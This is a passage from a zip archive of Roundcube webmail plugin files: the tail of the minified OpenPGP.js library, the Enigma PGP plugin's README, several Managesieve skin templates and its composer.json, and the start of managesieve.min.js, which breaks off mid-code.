a=e.clone(!0),s=V.isArray(t)?t:[t];try{return await Promise.all(a.getKeys().map((e=>V.anyPromise(s.map((t=>e.keyPacket.decrypt(t))))))),await a.validate(r),a}catch(e){throw a.clearPrivateParams(),V.wrapError("Error decrypting private key",e)}},e.decryptSessionKeys=async function({message:e,decryptionKeys:t,passwords:r,date:i=new Date,config:n,...a}){if(Ac(n={...ie,...n}),wc(e),t=Sc(t),r=Sc(r),a.privateKeys)throw Error("The `privateKeys` option has been removed from openpgp.decryptSessionKeys, pass `decryptionKeys` instead");const s=Object.keys(a);if(s.length>0)throw Error("Unknown option: "+s.join(", "));try{return await e.decryptSessionKeys(t,r,i,n)}catch(e){throw V.wrapError("Error decrypting session keys",e)}},e.encrypt=async function({message:e,encryptionKeys:t,signingKeys:r,passwords:i,sessionKey:n,format:a="armored",signature:s=null,wildcard:o=!1,signingKeyIDs:c=[],encryptionKeyIDs:u=[],date:h=new Date,signingUserIDs:d=[],encryptionUserIDs:f=[],config:l,...p}){if(Ac(l={...ie,...l}),wc(e),_c(a),t=Sc(t),r=Sc(r),i=Sc(i),c=Sc(c),u=Sc(u),d=Sc(d),f=Sc(f),p.detached)throw Error("The `detached` option has been removed from openpgp.encrypt, separately call openpgp.sign instead. Don't forget to remove the `privateKeys` option as well.");if(p.publicKeys)throw Error("The `publicKeys` option has been removed from openpgp.encrypt, pass `encryptionKeys` instead");if(p.privateKeys)throw Error("The `privateKeys` option has been removed from openpgp.encrypt, pass `signingKeys` instead");if(void 0!==p.armor)throw Error("The `armor` option has been removed from openpgp.encrypt, pass `format` instead.");const y=Object.keys(p);if(y.length>0)throw Error("Unknown option: "+y.join(", "));r||(r=[]);const b=e.fromStream;try{if((r.length||s)&&(e=await e.sign(r,s,c,h,d,l)),e=e.compress(await Go("compression",t,h,f,l),l),e=await e.encrypt(t,i,n,o,u,h,f,l),"object"===a)return e;const p="armored"===a;return Ec(p?e.armor(l):e.write(),b,p?"utf8":"binary")}catch(e){throw V.wrapError("Error encrypting message",e)}},e.encryptKey=async function({privateKey:e,passphrase:t,config:r,...i}){Ac(r={...ie,...r});const n=Object.keys(i);if(n.length>0)throw Error("Unknown option: "+n.join(", "));if(!e.isPrivate())throw Error("Cannot encrypt a public key");const a=e.clone(!0),s=a.getKeys(),o=V.isArray(t)?t:Array(s.length).fill(t);if(o.length!==s.length)throw Error("Invalid number of passphrases given for key encryption");try{return await Promise.all(s.map((async(e,t)=>{const{keyPacket:i}=e;await i.encrypt(o[t],r),i.clearPrivateParams()}))),a}catch(e){throw a.clearPrivateParams(),V.wrapError("Error encrypting private key",e)}},e.encryptSessionKey=async function({data:e,algorithm:t,aeadAlgorithm:r,encryptionKeys:i,passwords:n,format:a="armored",wildcard:s=!1,encryptionKeyIDs:o=[],date:c=new Date,encryptionUserIDs:u=[],config:h,...d}){if(Ac(h={...ie,...h}),function(e,t){if(!V.isUint8Array(e))throw Error("Parameter ["+(t||"data")+"] must be of type Uint8Array")}(e),function(e,t){if(!V.isString(e))throw Error("Parameter ["+(t||"data")+"] must be of type String")}(t,"algorithm"),_c(a),i=Sc(i),n=Sc(n),o=Sc(o),u=Sc(u),d.publicKeys)throw Error("The `publicKeys` option has been removed from openpgp.encryptSessionKey, pass `encryptionKeys` instead");const f=Object.keys(d);if(f.length>0)throw Error("Unknown option: "+f.join(", "));try{return xc(await pc.encryptSessionKey(e,t,r,i,n,s,o,c,u,h),a,h)}catch(e){throw V.wrapError("Error encrypting session key",e)}},e.enums=re,e.generateKey=async function({userIDs:e=[],passphrase:t="",type:r="ecc",rsaBits:i=4096,curve:n="curve25519",keyExpirationTime:a=0,date:s=new Date,subkeys:o=[{}],format:c="armored",config:u,...h}){Ac(u={...ie,...u}),e=Sc(e);const d=Object.keys(h);if(d.length>0)throw Error("Unknown option: "+d.join(", "));if(0===e.length)throw Error("UserIDs are required for key generation");if("rsa"===r&&i<u.minRSABits)throw Error(`rsaBits should be at least ${u.minRSABits}, got: ${i}`);const f={userIDs:e,passphrase:t,type:r,rsaBits:i,curve:n,keyExpirationTime:a,date:s,subkeys:o};try{const{key:e,revocationCertificate:t}=await async function(e,t){e.sign=!0,(e=Xo(e)).subkeys=e.subkeys.map(((t,r)=>Xo(e.subkeys[r],e)));let r=[No(e,t)];r=r.concat(e.subkeys.map((e=>Fo(e,t))));const i=await Promise.all(r),n=await hc(i[0],i.slice(1),e,t),a=await n.getRevocationCertificate(e.date,t);return n.revocationSignatures=[],{key:n,revocationCertificate:a}}(f,u);return e.getKeys().forEach((({keyPacket:e})=>tc(e,u))),{privateKey:xc(e,c,u),publicKey:xc(e.toPublic(),c,u),revocationCertificate:t}}catch(e){throw V.wrapError("Error generating keypair",e)}},e.generateSessionKey=async function({encryptionKeys:e,date:t=new Date,encryptionUserIDs:r=[],config:i,...n}){if(Ac(i={...ie,...i}),e=Sc(e),r=Sc(r),n.publicKeys)throw Error("The `publicKeys` option has been removed from openpgp.generateSessionKey, pass `encryptionKeys` instead");const a=Object.keys(n);if(a.length>0)throw Error("Unknown option: "+a.join(", "));try{return await pc.generateSessionKey(e,t,r,i)}catch(e){throw V.wrapError("Error generating session key",e)}},e.readCleartextMessage=async function({cleartextMessage:e,config:t,...r}){if(t={...ie,...t},!e)throw Error("readCleartextMessage: must pass options object containing `cleartextMessage`");if(!V.isString(e))throw Error("readCleartextMessage: options.cleartextMessage must be a string");const i=Object.keys(r);if(i.length>0)throw Error("Unknown option: "+i.join(", "));const n=await de(e);if(n.type!==re.armor.signed)throw Error("No cleartext signed message.");const a=await ho.fromBinary(n.data,mc,t);!function(e,t){const r=function(e){const r=e=>t=>e.hashAlgorithm===t;for(let i=0;i<t.length;i++)if(t[i].constructor.tag===re.packet.signature&&!e.some(r(t[i])))return!1;return!0};let i=null,n=[];if(e.forEach((function(e){if(i=e.match(/Hash: (.+)/),!i)throw Error('Only "Hash" header allowed in cleartext signed message');i=i[1].replace(/\s/g,""),i=i.split(","),i=i.map((function(e){e=e.toLowerCase();try{return re.write(re.hash,e)}catch(t){throw Error("Unknown hash algorithm in armor header: "+e)}})),n=n.concat(i)})),!n.length&&!r([re.hash.md5]))throw Error('If no "Hash" header in cleartext signed message, then only MD5 signatures allowed');if(n.length&&!r(n))throw Error("Hash algorithm mismatch in armor header and signature")}(n.headers,a);const s=new Oo(a);return new gc(n.text,s)},e.readKey=async function({armoredKey:e,binaryKey:t,config:r,...i}){if(r={...ie,...r},!e&&!t)throw Error("readKey: must pass options object containing `armoredKey` or `binaryKey`");if(e&&!V.isString(e))throw Error("readKey: options.armoredKey must be a string");if(t&&!V.isUint8Array(t))throw Error("readKey: options.binaryKey must be a Uint8Array");const n=Object.keys(i);if(n.length>0)throw Error("Unknown option: "+n.join(", "));let a;if(e){const{type:t,data:i}=await de(e,r);if(t!==re.armor.publicKey&&t!==re.armor.privateKey)throw Error("Armored text not of type key");a=i}else a=t;return sc(await ho.fromBinary(a,uc,r))},e.readKeys=async function({armoredKeys:e,binaryKeys:t,config:r,...i}){r={...ie,...r};let n=e||t;if(!n)throw Error("readKeys: must pass options object containing `armoredKeys` or `binaryKeys`");if(e&&!V.isString(e))throw Error("readKeys: options.armoredKeys must be a string");if(t&&!V.isUint8Array(t))throw Error("readKeys: options.binaryKeys must be a Uint8Array");const a=Object.keys(i);if(a.length>0)throw Error("Unknown option: "+a.join(", "));if(e){const{type:t,data:i}=await de(e,r);if(t!==re.armor.publicKey&&t!==re.armor.privateKey)throw Error("Armored text not of type key");n=i}const s=[],o=await ho.fromBinary(n,uc,r),c=o.indexOfTag(re.packet.publicKey,re.packet.secretKey);if(0===c.length)throw Error("No key packet found");for(let e=0;e<c.length;e++){const t=sc(o.slice(c[e],c[e+1]));s.push(t)}return s},e.readMessage=async function({armoredMessage:e,binaryMessage:t,config:r,...i}){r={...ie,...r};let n=e||t;if(!n)throw Error("readMessage: must pass options object containing `armoredMessage` or `binaryMessage`");if(e&&!V.isString(e)&&!V.isStream(e))throw Error("readMessage: options.armoredMessage must be a string or stream");if(t&&!V.isUint8Array(t)&&!V.isStream(t))throw Error("readMessage: options.binaryMessage must be a Uint8Array or stream");const a=Object.keys(i);if(a.length>0)throw Error("Unknown option: "+a.join(", "));const s=V.isStream(n);if(s&&(await E(),n=x(n)),e){const{type:e,data:t}=await de(n,r);if(e!==re.armor.message)throw Error("Armored text not of type message");n=t}const o=await ho.fromBinary(n,dc,r),c=new pc(o);return c.fromStream=s,c},e.readPrivateKey=async function({armoredKey:e,binaryKey:t,config:r,...i}){if(r={...ie,...r},!e&&!t)throw Error("readPrivateKey: must pass options object containing `armoredKey` or `binaryKey`");if(e&&!V.isString(e))throw Error("readPrivateKey: options.armoredKey must be a string");if(t&&!V.isUint8Array(t))throw Error("readPrivateKey: options.binaryKey must be a Uint8Array");const n=Object.keys(i);if(n.length>0)throw Error("Unknown option: "+n.join(", "));let a;if(e){const{type:t,data:i}=await de(e,r);if(t!==re.armor.privateKey)throw Error("Armored text not of type private key");a=i}else a=t;const s=await ho.fromBinary(a,uc,r);return new cc(s)},e.readPrivateKeys=async function({armoredKeys:e,binaryKeys:t,config:r}){r={...ie,...r};let i=e||t;if(!i)throw Error("readPrivateKeys: must pass options object containing `armoredKeys` or `binaryKeys`");if(e&&!V.isString(e))throw Error("readPrivateKeys: options.armoredKeys must be a string");if(t&&!V.isUint8Array(t))throw Error("readPrivateKeys: options.binaryKeys must be a Uint8Array");if(e){const{type:t,data:n}=await de(e,r);if(t!==re.armor.privateKey)throw Error("Armored text not of type private key");i=n}const n=[],a=await ho.fromBinary(i,uc,r),s=a.indexOfTag(re.packet.secretKey);if(0===s.length)throw Error("No secret key packet found");for(let e=0;e<s.length;e++){const t=a.slice(s[e],s[e+1]),r=new cc(t);n.push(r)}return n},e.readSignature=async function({armoredSignature:e,binarySignature:t,config:r,...i}){r={...ie,...r};let n=e||t;if(!n)throw Error("readSignature: must pass options object containing `armoredSignature` or `binarySignature`");if(e&&!V.isString(e))throw Error("readSignature: options.armoredSignature must be a string");if(t&&!V.isUint8Array(t))throw Error("readSignature: options.binarySignature must be a Uint8Array");const a=Object.keys(i);if(a.length>0)throw Error("Unknown option: "+a.join(", "));if(e){const{type:e,data:t}=await de(n,r);if(e!==re.armor.signature)throw Error("Armored text not of type signature");n=t}const s=await ho.fromBinary(n,qo,r);return new Oo(s)},e.reformatKey=async function({privateKey:e,userIDs:t=[],passphrase:r="",keyExpirationTime:i=0,date:n,format:a="armored",config:s,...o}){Ac(s={...ie,...s}),t=Sc(t);const c=Object.keys(o);if(c.length>0)throw Error("Unknown option: "+c.join(", "));if(0===t.length)throw Error("UserIDs are required for key reformat");const u={privateKey:e,userIDs:t,passphrase:r,keyExpirationTime:i,date:n};try{const{key:e,revocationCertificate:t}=await async function(e,t){e=o(e);const{privateKey:r}=e;if(!r.isPrivate())throw Error("Cannot reformat a public key");if(r.keyPacket.isDummy())throw Error("Cannot reformat a gnu-dummy primary key");if(!r.getKeys().every((({keyPacket:e})=>e.isDecrypted())))throw Error("Key is not decrypted");const i=r.keyPacket;e.subkeys||(e.subkeys=await Promise.all(r.subkeys.map((async e=>{const r=e.keyPacket,n={key:i,bind:r},a=await Lo(e.bindingSignatures,i,re.signature.subkeyBinding,n,null,t).catch((()=>({})));return{sign:a.keyFlags&&a.keyFlags[0]&re.keyFlags.signData}}))));const n=r.subkeys.map((e=>e.keyPacket));if(e.subkeys.length!==n.length)throw Error("Number of subkey options does not match number of subkeys");e.subkeys=e.subkeys.map((t=>o(t,e)));const a=await hc(i,n,e,t),s=await a.getRevocationCertificate(e.date,t);return a.revocationSignatures=[],{key:a,revocationCertificate:s};function o(e,t={}){return e.keyExpirationTime=e.keyExpirationTime||t.keyExpirationTime,e.passphrase=V.isString(e.passphrase)?e.passphrase:t.passphrase,e.date=e.date||t.date,e}}(u,s);return{privateKey:xc(e,a,s),publicKey:xc(e.toPublic(),a,s),revocationCertificate:t}}catch(e){throw V.wrapError("Error reformatting keypair",e)}},e.revokeKey=async function({key:e,revocationCertificate:t,reasonForRevocation:r,date:i=new Date,format:n="armored",config:a,...s}){Ac(a={...ie,...a});const o=Object.keys(s);if(o.length>0)throw Error("Unknown option: "+o.join(", "));try{const s=t?await e.applyRevocationCertificate(t,i,a):await e.revoke(r,i,a);return s.isPrivate()?{privateKey:xc(s,n,a),publicKey:xc(s.toPublic(),n,a)}:{privateKey:null,publicKey:xc(s,n,a)}}catch(e){throw V.wrapError("Error revoking key",e)}},e.sign=async function({message:e,signingKeys:t,format:r="armored",detached:i=!1,signingKeyIDs:n=[],date:a=new Date,signingUserIDs:s=[],config:o,...c}){if(Ac(o={...ie,...o}),vc(e),_c(r),t=Sc(t),n=Sc(n),s=Sc(s),c.privateKeys)throw Error("The `privateKeys` option has been removed from openpgp.sign, pass `signingKeys` instead");if(void 0!==c.armor)throw Error("The `armor` option has been removed from openpgp.sign, pass `format` instead.");const u=Object.keys(c);if(u.length>0)throw Error("Unknown option: "+u.join(", "));if(e instanceof gc&&"binary"===r)throw Error("Cannot return signed cleartext message in binary format");if(e instanceof gc&&i)throw Error("Cannot detach-sign a cleartext message");if(!t||0===t.length)throw Error("No signing keys provided");try{let c;if(c=i?await e.signDetached(t,void 0,n,a,s,o):await e.sign(t,void 0,n,a,s,o),"object"===r)return c;const u="armored"===r;return c=u?c.armor(o):c.write(),i&&(c=T(e.packets.write(),(async(e,t)=>{await Promise.all([R(c,t),L(e).catch((()=>{}))])}))),Ec(c,e.fromStream,u?"utf8":"binary")}catch(e){throw V.wrapError("Error signing message",e)}},e.unarmor=de,e.verify=async function({message:e,verificationKeys:t,expectSigned:r=!1,format:i="utf8",signature:n=null,date:a=new Date,config:s,...o}){if(Ac(s={...ie,...s}),vc(e),t=Sc(t),o.publicKeys)throw Error("The `publicKeys` option has been removed from openpgp.verify, pass `verificationKeys` instead");const c=Object.keys(o);if(c.length>0)throw Error("Unknown option: "+c.join(", "));if(e instanceof gc&&"binary"===i)throw Error("Can't return cleartext message data as binary");if(e instanceof gc&&n)throw Error("Can't verify detached cleartext signature");try{const o={};if(o.signatures=n?await e.verifyDetached(n,t,a,s):await e.verify(t,a,s),o.data="binary"===i?e.getLiteralData():e.getText(),e.fromStream&&Pc(o,e),r){if(0===o.signatures.length)throw Error("Message is not signed");o.data=C([o.data,W((async()=>{await V.anyPromise(o.signatures.map((e=>e.verified)))}))])}return o.data=await Ec(o.data,e.fromStream,i),o}catch(e){throw V.wrapError("Error verifying signed message",e)}},Object.defineProperty(e,"__esModule",{value:!0}),e}({});
//# sourceMappingURL=openpgp.min.js.map
PKh�\�\<�
�
plugins/enigma/READMEnu�[���Enigma Plugin for Roundcube

This plugin adds support for viewing and sending of signed and encrypted
messages in PGP (RFC 2440) and PGP/MIME (RFC 3156) format.

The plugin uses gpg binary on the server and stores all keys
(including private keys of the users) on the server.
Encryption/decryption is done server-side. So, this plugin
is for users that trust the server.

For multi-host environments see enigma_multihost setting description.

Implemented features:
+ PGP: signatures verification
+ PGP: messages decryption
+ PGP: Sending of encrypted/signed messages
+ PGP: keys management UI (key import, export, delete)
+ PGP: key generation (client- or server-side)
+ Handling of PGP keys attached to incoming messages
+ User preferences to disable plugin features
+ Attaching public keys to email
+ Key server(s) support (search, import)


INSTALLATION
------------

1. Rename config.inc.php.dist to config.inc.php.
2. Create a directory for keys storage that is writeable for the PHP process.
   This directory should be out of the document root, so it is not accessible
   from the web browser. Set it's location in $config['enigma_pgp_homedir'].
3. Make sure GnuPG is installed.


TODO
----

- Handling of big messages with temp files (? - security)
- Key info in contact details page (optional)
- Extended key management:
   - disable,
   - revoke,
   - change expiration date, change passphrase, add photo,
   - manage user IDs
   - export private keys
- Generate revocation certs
- Search filter to see invalid/expired keys
- Key server(s) support (upload, refresh)
- Mark keys as trusted/untrusted, display appropriate message in verify/decrypt status
- Performance improvements:
   - cache decrypted message key id so we can skip decryption if we have no password in session
   - cache (last or successful only?) sig verification status to not verify on every msg preview (optional)
- S/MIME: Certs generation (?)
- S/MIME: Certs management
- S/MIME: signed messages verification
- S/MIME: encrypted messages decryption
- S/MIME: Sending signed/encrypted messages
- S/MIME: Handling of certs attached to incoming messages
- S/MIME: Certificate info in Contacts details page (optional)


KNOWN ISSUES
------------

There are some known issues with accepting key passphrases on various
system configurations. This is caused by issues in PinEntry handling.
Make sure that vendor/bin/crypt-gpg-pinentry works from command line.

Possible reasons:
- non-working loader in shebang (#! /usr/bin/env php)
  Make sure it works for the user the php scripts are executed upon
  (i.e. apache, www-data, etc.)
- SELinux setting, try command: setsebool -P httpd_unified 0

Note: pinentry is used with gpg >= 2.0 and <= 2.1.12.
Note: for server use GnuPG developers still recommend version 1.4.
PKh�\H�I��;plugins/managesieve/skins/elastic/templates/seteditraw.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="managesieve.filterseteditraw" /></h1>

<div class="formcontent raweditor">
	<roundcube:object name="filterseteditraw" /></form>
</div>

<div class="formbuttons">
	<roundcube:button command="plugin.managesieve-save" class="btn btn-primary submit" label="save" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\;�P͕�8plugins/managesieve/skins/elastic/templates/setedit.htmlnu�[���<roundcube:include file="includes/layout.html" />

<h1 class="voice"><roundcube:label name="managesieve.newfilterset" /></h1>

<div class="formcontent">
	<roundcube:object name="filtersetform" class="propform" />
</div>

<div class="formbuttons">
	<roundcube:button command="plugin.managesieve-save" class="btn btn-primary submit" label="save" />
</div>

<roundcube:include file="includes/footer.html" />
PKh�\��*�88<plugins/managesieve/skins/elastic/templates/managesieve.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" />

<h1 class="voice"><roundcube:label name="settings" /> : <roundcube:label name="managesieve.filters" /></h1>

<!-- filters list -->
<div id="layout-list" class="listbox selected">
	<div class="header">
		<a class="button icon back-sidebar-button" href="#sidebar"><span class="inner"><roundcube:label name="settings" /></span></a>
		<span id="aria-label-filterslist" class="header-title"><roundcube:label name="managesieve.filters" /></span>
		<roundcube:if condition="!env:managesieve_no_set_list" />
			<div class="toolbar menu" role="toolbar">
				<roundcube:button name="filtersetactions" type="link" title="managesieve.arialabelfiltersetactions" label="actions"
					class="actions" innerclass="inner" data-popup="filterset-menu" />
			</div>
		<roundcube:endif />
		<a class="button icon toolbar-menu-button" href="#list-menu"><span class="inner"><roundcube:label name="menu" /></span></a>
	</div>
	<roundcube:if condition="!env:managesieve_no_set_list" />
	<div class="pagenav pagenav-list menu" onclick="UI.switch_nav_list(this)">
		<a class="expand"><span class="inner"></span></a>
		<span id="filterset-name" class="pagenav-text"></span>
		<h2 class="voice" id="aria-label-filtersets"><roundcube:label name="managesieve.filtersets" /></h2>
	</div>
	<div id="filtersetslistbox" class="navlist scroller" aria-labelledby="aria-label-filtersets">
		<roundcube:object name="filtersetslist" id="filtersetslist" class="listing"
			summary="managesieve.ariasummaryfiltersetslist" type="list" noheader="true" role="listbox" />
	</div>
	<roundcube:endif />
	<div class="scroller" aria-labelledby="aria-label-filterslist">
		<roundcube:object name="filterslist" id="filterslist" class="listing" noheader="true"
			role="listbox" data-list="filters_list"
			data-label-msg="listempty" data-label-ext="listusebutton" data-create-command="plugin.managesieve-add" />
	</div>
</div>

<!-- filter details frame -->
<div id="layout-content" role="main">
	<h2 id="aria-label-toolbar" class="voice"><roundcube:label name="arialabeltoolbar" /></h2>
	<div class="header" role="toolbar" aria-labelledby="aria-label-toolbar">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
		<!-- toolbar -->
		<div id="responsestoolbar" class="toolbar menu">
			<roundcube:button command="plugin.managesieve-add" type="link"
				label="create" title="managesieve.filteradd" innerClass="inner"
				class="create disabled" classAct="create" data-fab="true" />
			<roundcube:button command="plugin.managesieve-del" type="link"
				label="delete" title="delete" innerClass="inner"
				class="delete disabled" classAct="delete" />
		</div>
	</div>
	<h2 id="aria-label-filterframe" class="voice"><roundcube:label name="managesieve.arialabelfilterform" /></h2>
	<div class="iframe-wrapper">
		<roundcube:object name="contentframe" id="filter-box" src="env:blankpage" title="managesieve.arialabelfilterform"
			aria-labelledby="aria-label-filterform" />
	</div>
</div>

<div id="filterset-menu" class="popupmenu">
	<h3 id="aria-label-setactions" class="voice"><roundcube:label name="managesieve.arialabelfiltersetactions" /></h3>
	<ul class="menu listing" id="filtersetmenu-menu" role="menu" aria-labelledby="aria-label-setactions">
		<roundcube:button type="link-menuitem" command="plugin.managesieve-setadd" label="managesieve.filtersetadd" class="create disabled" classAct="create active" />
		<roundcube:if condition="env:raw_sieve_editor != false" />
			<roundcube:button type="link-menuitem" command="plugin.managesieve-seteditraw" label="managesieve.filterseteditraw" class="edit disabled" classAct="edit active" />
		<roundcube:endif />
		<roundcube:button type="link-menuitem" command="plugin.managesieve-setact" label="managesieve.filtersetswitch" class="status disabled" classAct="status active" />
		<roundcube:button type="link-menuitem" command="plugin.managesieve-setdel" label="managesieve.filtersetdel" class="delete disabled" classAct="delete active" />
		<roundcube:button type="link-menuitem" command="plugin.managesieve-setget" label="download" class="download disabled" classAct="download active" />
		<roundcube:container name="filtersetoptions" id="filtersetmenu-menu" />
	</ul>
</div>

<style>
#filterslist tr.filtermoveup td {
  border-top: 1px dotted #555 !important;
}
#filterslist tr.filtermovedown td {
  border-bottom: 1px dotted #555 !important;
}
</style>

<roundcube:include file="includes/footer.html" />
PKh�\&�J==;plugins/managesieve/skins/elastic/templates/filteredit.htmlnu�[���<roundcube:include file="includes/layout.html" />

<roundcube:if condition="env:task != 'mail'" />
	<h1 class="voice"><roundcube:label name="managesieve.filterdef" /></h1>
<roundcube:endif />

<div class="formcontent">
	<roundcube:object name="filterform" id="filter-form" class="propform" compact-form="true" />
</div>

<roundcube:if condition="env:task != 'mail'" />
<div class="formbuttons">
	<roundcube:button command="plugin.managesieve-save" class="btn btn-primary submit" label="save" />
</div>
<roundcube:endif />

<roundcube:include file="includes/footer.html" />
PKh�\��F\��9plugins/managesieve/skins/elastic/templates/vacation.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" />

<h1 class="voice"><roundcube:label name="managesieve.vacation" /></h1>

<div id="layout-content" class="selected" role="main">
	<div class="header">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
	</div>
	<div class="formcontainer scroller" aria-labelledby="aria-label-vacationform">
		<div class="formcontent">
			<h2 class="voice" id="aria-label-vacationform"><roundcube:label name="managesieve.vacation" /></h2>
			<roundcube:object name="vacationform" id="vacationform" class="propform" />
		</div>
		<div class="formbuttons">
			<roundcube:button command="plugin.managesieve-save" class="btn btn-primary submit" label="save" />
		</div>
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\�짨��8plugins/managesieve/skins/elastic/templates/forward.htmlnu�[���<roundcube:include file="includes/layout.html" />
<roundcube:include file="includes/menu.html" />
<roundcube:include file="includes/settings-menu.html" />

<h1 class="voice"><roundcube:label name="managesieve.forward" /></h1>

<div id="layout-content" class="selected" role="main">
	<div class="header">
		<a class="button icon back-list-button" href="#back"><span class="inner"><roundcube:label name="back" /></span></a>
		<span class="header-title"></span>
	</div>
	<div class="formcontainer scroller" aria-labelledby="aria-label-forwardform">
		<div class="formcontent">
			<h2 class="voice" id="aria-label-forwardform"><roundcube:label name="managesieve.forward" /></h2>
			<roundcube:object name="forwardform" id="forwardform" class="propform" />
		</div>
		<div class="formbuttons">
			<roundcube:button command="plugin.managesieve-save" class="btn btn-primary submit" label="save" />
		</div>
	</div>
</div>

<roundcube:include file="includes/footer.html" />
PKh�\����!plugins/managesieve/composer.jsonnu�[���{
    "name": "roundcube/managesieve",
    "type": "roundcube-plugin",
    "description": "Adds a possibility to manage Sieve scripts (incoming mail filters). It's clickable interface which operates on text scripts and communicates with server using managesieve protocol. Adds Filters tab in Settings.",
    "license": "GPL-3.0-or-later",
    "version": "9.4",
    "authors": [
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3",
        "pear/net_sieve": "~1.4.4"
    }
}
PKh�\�9F�FdFd&plugins/managesieve/managesieve.min.jsnu�[���/**
 * (Manage)Sieve Filters plugin
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
function rule_header_select(e){var t,i=document.getElementById("header"+e),a=document.getElementById("rule_size"+e),s=document.getElementById("rule_spamtest"+e),n=document.getElementById("rule_message"+e),r=document.getElementById("rule_op"+e),l=document.getElementById("custom_header"+e+"_list"),o=document.getElementById("custom_var"+e+"_list"),c=document.getElementById("rule_mod"+e),m=document.getElementById("rule_trans"+e),d=document.getElementById("rule_comp"+e),_=document.getElementById("rule_mime"+e),u=document.getElementById("rule_mime_part"+e),g=document.getElementById("rule_date_part"+e),v=document.getElementById("rule_date_header_div"+e),p=$("#rule_op"+e),h=i.value,f=[r,l,o,c,m,d,a,_,u];"size"==h?(n&&f.push(n),$.each(f,function(){this!=window&&(this.style.display="none")}),s&&(s.style.display="none"),a.style.display=""):"spamtest"==h?(n&&f.push(n),$.each(f,function(){this!=window&&(this.style.display="none")}),s&&(s.style.display=""),a.style.display="none"):"message"==h&&n?($.each(f,function(){this!=window&&(this.style.display="none")}),n.style.display=""):(t="body"!=h&&"currentdate"!=h&&"date"!=h&&"string"!=h,l.style.display="..."!=h?"none":"",o.style.display="string"!=h?"none":"",a.style.display="none",r.style.display="",d.style.display="",c.style.display=t?"":"none",m.style.display="body"==h?"":"none",s&&(s.style.display="none"),_&&(_.style.display=t?"":"none"),u&&(u.style.display=t?"":"none"),n&&(n.style.display="message"==h?"":"none")),g&&(g.style.display="currentdate"==h||"date"==h?"inline":"none"),v&&(v.style.display="date"==h?"":"none"),$('[value="exists"],[value="notexists"]',p).prop("disabled","string"==h),p.val()||p.val("contains"),rule_op_select(r,e,h),rule_mod_select(e,h,!t),rule_mime_select(e),s&&rule_spamtest_select(e),i.style.width="..."==h?"40px":""}function rule_op_select(e,t,i){var a=document.getElementById("rule_target"+t+"_list");i=i||document.getElementById("header"+t).value,a.style.display=e.value.match(/^(exists|notexists)$/)||i.match(/^(size|spamtest|message)$/)?"none":""}function rule_trans_select(e){var t=document.getElementById("rule_trans_op"+e);document.getElementById("rule_trans_type"+e).style.display="content"!=t.value?"none":"inline"}function rule_mod_select(e,t,i){var a=document.getElementById("rule_mod_op"+e),s=document.getElementById("rule_mod_type"+e),n=document.getElementById("rule_duplicate_div"+e),r=document.getElementById("rule_index_div"+e);i&&(a.value=""),t=t||document.getElementById("header"+e).value,s.style.display="address"!=a.value&&"envelope"!=a.value?"none":"",r&&(r.style.display=t.match(/^(body|currentdate|size|spamtest|message|string)$/)||"envelope"==a.value?"none":""),n&&(n.style.display="message"==t?"":"none")}function rule_spamtest_select(e){var t=document.getElementById("rule_spamtest_op"+e);document.getElementById("rule_spamtest_target"+e).style.display=t.value?"":"none",$(t)[t.value?"removeClass":"addClass"]("rounded-right")}function rule_join_radio(e){$("#rules").css("display","any"==e?"none":"block")}function rule_adv_switch(e,t){var i=(t=$(t)).hasClass("hide"),e=$("#rule_advanced"+e);i?(e.get(0).style.display="none",t.removeClass("hide").addClass("show")):(e.get(0).style.display="",t.removeClass("show").addClass("hide"))}function rule_mime_select(e){var t=$("#rule_mime_type"+e),e=$("#rule_mime_param"+e+"_list");e.length&&(e[0].style.display="param"==t.val()?"":"none")}function action_type_select(e){var t,i=document.getElementById("action_type"+e).value,a={},s={mailbox:document.getElementById("action_mailbox"+e),target:document.getElementById("redirect_target"+e),target_area:document.getElementById("action_target_area"+e),flags:document.getElementById("action_flags"+e),vacation:document.getElementById("action_vacation"+e),forward:document.getElementById("action_forward"+e),set:document.getElementById("action_set"+e),notify:document.getElementById("action_notify"+e),addheader:document.getElementById("action_addheader"+e),deleteheader:document.getElementById("action_deleteheader"+e)};for(t in"fileinto"==i||"fileinto_copy"==i?a.mailbox=1:"redirect"==i||"redirect_copy"==i?a.target=1:i.match(/^reject|ereject$/)?a.target_area=1:i.match(/^(add|set|remove)flag$/)?a.flags=1:i.match(/^(vacation|forward|set|notify|addheader|deleteheader)$/)&&(a[i]=1),s)s[t]&&(s[t].style.display=a[t]?"":"none")}function vacation_action_select(){var e=$("#vacation_action").val();$("#action_target_span")["discard"==e||"keep"==e?"hide":"show"]()}function smart_field_init(i){if(window.UI&&UI.smart_field_init)return UI.smart_field_init(i);var e=i.id+"_list",a=$('<span class="listarea"></span>'),t=i.value?i.value.split("\n"):[""];$("#"+e).length||($.each(t,function(e,t){a.append(smart_field_row(t,e,i))}),a.attr("id",e),(i=$(i)).attr("disabled")?a.hide():i.prop("disabled",!0),i.data("hidden")&&a.hide(),i.after(a),i.hasClass("error")&&(a.addClass("error"),rcmail.managesieve_tip_register([[e,i.data("tip-class"),i.data("tip-msg")]])))}function smart_field_row(e,t,a){var i=$('<span class="listelement"><span class="reset"></span><input type="text"></span>'),e={value:e,name:a.name+"[]",size:$(a).data("size"),title:a.title,placeholder:$(a).attr("placeholder")};i.find("input").attr(e).keydown(function(e){var t=$(this);if(13==e.which){var 